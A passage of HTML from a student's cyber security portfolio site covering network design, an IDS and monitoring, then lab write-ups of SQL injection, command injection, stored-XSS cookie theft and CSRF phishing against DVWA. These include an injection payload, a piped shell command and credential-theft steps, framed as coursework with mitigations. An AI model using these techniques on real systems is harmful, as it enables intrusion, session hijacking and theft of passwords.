class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a 